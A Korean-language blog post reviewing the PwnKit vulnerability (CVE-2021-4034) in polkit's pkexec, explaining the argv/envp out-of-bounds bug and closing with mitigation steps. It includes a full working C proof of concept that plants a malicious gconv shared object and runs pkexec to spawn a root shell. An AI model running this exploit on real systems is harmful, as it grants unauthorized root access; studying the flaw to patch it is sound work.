Pwnkit: CVE-2021-4034

Ravidus·2023년 11월 15일

CVE-REVIEW

목록 보기
1/3


CVE-2021-4034는 Linux 운영체제에 기본적으로 설치되는 "Polkit" 패키지의 "pkexec"에서 발생하는 LPE(Local Privilage Escalation) 취약점입니다.
해당 취약점은 로컬 환경에서 권한이 없는 사용자가 root 권한을 탈취하도록 동작합니다.

Polkit이란 무엇인가?

취약점을 살펴보기전에 Polkit(Policy toolkit)에 대해서 알아보겠습니다.
Linux는 사용자가 보다 높은 수준의 작업을 수행할때 권한이 있는지 확인하기 위해 Polkit을 사용합니다.
네, polkit은 권한 인증을 관리하기 위해 만들어진 프로그램입니다.
그리고 권한 인증을 위해 Polkit이 작동할때, "Pwnkit"이라 불리는 취약점을 가지고 있는 pkexec 유틸리티가 동작합니다.

Pwnkit 취약점 상세

앞서 언급했듯, 취약점 "Pwnkit"은 pkexec 유틸리티에 존재하며 OOB(Out-Of-Bounds)로 인해 발생합니다.

아래는 pkexec에서 취약점이 발생하는 부분입니다.

main (int argc, char *argv[]) {
	for (n = 1; n < (guint) argc; n++) {
	...
	}

	path = g_strdup (argv[n]);

	if (path[0] != '/') {
		s = g_find_program_in_path (path);	
		argv[n] = path = s;
	}
	...
 }

pkexec는 for문을 사용하여 index 1번(i.e argc[1]) 부터 입력된 모든 인자에 대한 구문 분석을 시도합니다.
(if pkexec bash, argc[0] == pkexec, argc[1] == bash)
이때 pkexec에 값을 주지 않는다면 로직상 인덱스 값 n은 1로 고정이 되어 루프를 우회할 수 있게 됩니다.

  • 값을 입력하지 않을시 n값을 1로 고정
  • path = argv[1]에 대한 OOB read
  • s는 argv[1]에 대한 OOB write

그렇다면 argv[1]은 무엇을 가리키는 것일까?
이를 알기 위해서는 pkexec가 동작할때 syscall하는 execve()를 살펴보아야 합니다.
새 프로세스를 시작할때 커널은 모든 명령 인수를 포함하는 배열(argv), 환경 변수를 포함하는 배열(envp), 인수 수를 나타내는 정수 값(argc)을 생성합니다.

|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

메모리를 보면 매개 변수 배열과 환경 변수 배열을 연속적으로 배치합니다.
이때 argc가 null이면 argv[1]은 OOB가 발생해 연속적으로 위치한 메모리인 envp[0]를 가리키게 됩니다.

  • argv[1] = envp[0] = "value"
  • g_find_program_in_path("value"), PATH 환경변수의 디렉터리에서 "value"라는 실행 파일 검색
  • argv[1] = envp[0] = path, 실행파일이 검색될 경우 파일을 경로 반환

즉, argv[1]이 메모리상 환경변수의 첫번째 값을 가리키며 해당 값을 덮어쓰는 문제가 발생하는 것입니다.

개념증명

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
    FILE *fp;
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
    fp = fopen("pwnkit/pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);
    system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL};
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
  1. "GCONV_PATH=."라는 디렉터리를 생성하고 실행가능한 파일 pwnkit을 생성합니다.
  2. 쉘코드를 "pwnkit/pwnkit.c"에 작성하여 "pwnkit/pwnkit.so"로 컴파일 합니다.
  3. pkexec가 pwnkit.so라는 파일을 로드하도록 환경 변수 값을 설정합니다.
  4. pkexec를 실행하면 공유객체 파일을 루트로 실행하게 되어 루트 권한 쉘을 탈취합니다.

command explain
>> id : 현재 사용자 권한 확인
>> gcc : 코드 컴파일
>> ./exploit : [프로그램 명] 실행
>> whoami : 사용자 확인

환경을 구축하여 테스트해 보면 다음 그림과 같이 성공적으로 LPE가 수행됨을 확인할 수 있습니다.

해결방안

  • setuid 비트를 해지를 통한 임시조치
sudo chmod 0755 `which pkexec` 
  • 조치 방안
sudo apt update && sudo apt upgrade

Reference)
https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
https://access.redhat.com/ko/security/vulnerabilities/6676491

profile
keep going

0개의 댓글